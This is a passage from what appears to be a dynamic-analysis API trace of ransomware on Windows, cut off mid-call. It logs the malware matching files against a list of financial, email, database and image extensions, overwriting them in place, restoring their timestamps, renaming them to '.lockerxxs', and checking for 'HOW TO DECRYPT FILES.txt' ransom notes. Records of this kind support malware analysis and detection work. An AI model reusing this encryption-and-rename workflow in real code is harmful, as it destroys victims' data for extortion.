pszSpec="*.dbf") returned 0 [0083.901] lstrlenA (lpString="*.dbf") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.myox") returned 0 [0083.901] lstrlenA (lpString="*.myox") returned 6 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.myo") returned 0 [0083.901] lstrlenA (lpString="*.myo") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qbw") returned 0 [0083.901] lstrlenA (lpString="*.qbw") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qbb") returned 0 [0083.901] lstrlenA (lpString="*.qbb") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qbm") returned 0 [0083.901] lstrlenA (lpString="*.qbm") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qbo") returned 0 [0083.901] lstrlenA (lpString="*.qbo") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qbx") returned 0 [0083.901] lstrlenA (lpString="*.qbx") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qba") returned 0 [0083.901] lstrlenA (lpString="*.qba") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qby") returned 0 [0083.901] lstrlenA (lpString="*.qby") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qbj") returned 0 [0083.901] lstrlenA (lpString="*.qbj") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.ofx") returned 0 [0083.902] lstrlenA (lpString="*.ofx") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.qif") returned 0 [0083.902] lstrlenA (lpString="*.qif") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.mye") returned 0 [0083.902] lstrlenA (lpString="*.mye") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.mbox") returned 0 [0083.902] lstrlenA (lpString="*.mbox") returned 6 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.eml") returned 0 [0083.902] lstrlenA (lpString="*.eml") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.pst") returned 0 [0083.902] lstrlenA (lpString="*.pst") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.ost") returned 0 [0083.902] lstrlenA (lpString="*.ost") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.idx") returned 0 [0083.902] lstrlenA (lpString="*.idx") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.dbx") returned 0 [0083.902] lstrlenA (lpString="*.dbx") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.sql") returned 0 [0083.902] lstrlenA (lpString="*.sql") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.mdb") returned 0 [0083.902] lstrlenA (lpString="*.mdb") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.fdb") returned 0 [0083.902] lstrlenA (lpString="*.fdb") returned 5 [0083.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.wab") returned 0 [0083.903] lstrlenA (lpString="*.wab") returned 5 [0083.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.dat") returned 0 [0083.903] lstrlenA (lpString="*.dat") returned 5 [0083.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.txt") returned 0 [0083.903] lstrlenA (lpString="*.txt") returned 5 [0083.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.jpeg") returned 0 [0083.903] lstrlenA (lpString="*.jpeg") returned 6 [0083.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.jpg") returned 0 [0083.903] lstrlenA (lpString="*.jpg") returned 5 [0083.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.png") returned 1 [0083.903] lstrlenA (lpString="*.png") returned 5 [0083.903] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" [0083.903] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" [0083.903] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png." [0083.903] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.lockerxxs" [0083.903] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.904] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2ed [0083.904] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3)) returned 1 [0083.904] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.904] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2c7, lpOverlapped=0x0) returned 1 [0083.906] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png") returned="AA6SFRQ[2].png" [0083.906] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.906] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2c7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2c7, lpOverlapped=0x0) returned 1 [0083.907] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.907] CloseHandle (hObject=0xa4) returned 1 [0083.907] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png.lockerxxs")) returned 1 [0083.908] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4580a770, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4580a770, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4580a770, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAa1vhm[1].png", cAlternateFileName="AAA1VH~1.PNG")) returned 1 [0083.908] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.908] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAa1vhm[1].png") returned 1 [0083.908] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAa1vhm[1].png") returned 1 [0083.908] lstrcmpiA (lpString1="", lpString2="AAa1vhm[1].png") returned -1 [0083.908] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png") returned="AA6SFRQ[2].png" [0083.908] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.908] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.908] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.908] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.908] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AAa1vhm[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" [0083.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.ems") returned 0 [0083.908] lstrlenA (lpString="*.ems") returned 5 [0083.908] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.db") returned 0 [0083.908] lstrlenA (lpString="*.db") returned 4 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.dbf") returned 0 [0083.909] lstrlenA (lpString="*.dbf") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.myox") returned 0 [0083.909] lstrlenA (lpString="*.myox") returned 6 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.myo") returned 0 [0083.909] lstrlenA (lpString="*.myo") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qbw") returned 0 [0083.909] lstrlenA (lpString="*.qbw") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qbb") returned 0 [0083.909] lstrlenA (lpString="*.qbb") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qbm") returned 0 [0083.909] lstrlenA (lpString="*.qbm") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qbo") returned 0 [0083.909] lstrlenA (lpString="*.qbo") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qbx") returned 0 [0083.909] lstrlenA (lpString="*.qbx") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qba") returned 0 [0083.909] lstrlenA (lpString="*.qba") returned 5 [0083.909] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qby") returned 0 [0083.910] lstrlenA (lpString="*.qby") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qbj") returned 0 [0083.910] lstrlenA (lpString="*.qbj") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.ofx") returned 0 [0083.910] lstrlenA (lpString="*.ofx") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.qif") returned 0 [0083.910] lstrlenA (lpString="*.qif") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.mye") returned 0 [0083.910] lstrlenA (lpString="*.mye") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.mbox") returned 0 [0083.910] lstrlenA (lpString="*.mbox") returned 6 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.eml") returned 0 [0083.910] lstrlenA (lpString="*.eml") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.pst") returned 0 [0083.910] lstrlenA (lpString="*.pst") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.ost") returned 0 [0083.910] lstrlenA (lpString="*.ost") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.idx") returned 0 [0083.910] lstrlenA (lpString="*.idx") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.dbx") returned 0 [0083.910] lstrlenA (lpString="*.dbx") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.sql") returned 0 [0083.910] lstrlenA (lpString="*.sql") returned 5 [0083.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.mdb") returned 0 [0083.911] lstrlenA (lpString="*.mdb") returned 5 [0083.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.fdb") returned 0 [0083.911] lstrlenA (lpString="*.fdb") returned 5 [0083.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.wab") returned 0 [0083.911] lstrlenA (lpString="*.wab") returned 5 [0083.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.dat") returned 0 [0083.911] lstrlenA (lpString="*.dat") returned 5 [0083.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.txt") returned 0 [0083.911] lstrlenA (lpString="*.txt") returned 5 [0083.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.jpeg") returned 0 [0083.911] lstrlenA (lpString="*.jpeg") returned 6 [0083.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.jpg") returned 0 [0083.911] lstrlenA (lpString="*.jpg") returned 5 [0083.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", pszSpec="*.png") returned 1 [0083.911] lstrlenA (lpString="*.png") returned 5 [0083.911] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" [0083.911] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS 